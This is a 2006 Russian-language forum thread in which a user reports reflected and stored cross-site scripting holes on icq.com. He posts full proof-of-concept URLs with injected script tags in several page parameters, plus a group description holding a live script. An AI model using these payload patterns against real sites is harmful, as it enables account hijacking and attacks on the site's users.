PDA

Просмотр полной версии : Xss в ICQ


EST a1ien
17.05.2006, 14:52
Нашол XSS в ICQ
http://www.icq.com/register/thanks.php?service=&uin=1%3Cscript%3Ealert(123);%3C/script%3E&newuser=1

:)

EST a1ien
20.05.2006, 17:52
Вот ещё одна xss в ICQ найденная мной
http://www.icq.com/groups/atoz.php?letter=%3Cscript%3Ealert('find%20by%20a1i en')%3C/script%3E

Dracula4ever
20.05.2006, 18:28
Молодец!!!

EST a1ien
20.05.2006, 18:33
Вот продолжение
http://www.icq.com/people/?searched=1&keyword2=&my_gender=[XSS]&match=[XSS]&age_group=[XSS]&home_cc=[XSS]
Вот пример
http://www.icq.com/people/?searched=1&keyword2=&my_gender=%3Cscript%3Ealert(1)%3C/script%3E&match=%3Cscript%3Ealert(1)%3C/script%3E&age_group=%3Cscript%3Ealert(1)%3C/script%3E&home_cc=%3Cscript%3Ealert(1)%3C/script%3E

Darkwayder
20.05.2006, 19:18
Лол их находили пол года назад. Даже чисто я находил.

EST a1ien
20.05.2006, 19:44
Вот ещё активная XSS!
При создании группы не фильтруется параметра Group Description.
Вот ссылка на мою групу со скриптом.
http://www.icq.com/groups/group_details.php?gid=12052128
З.Ы Если ктото уже находил несудите сторого.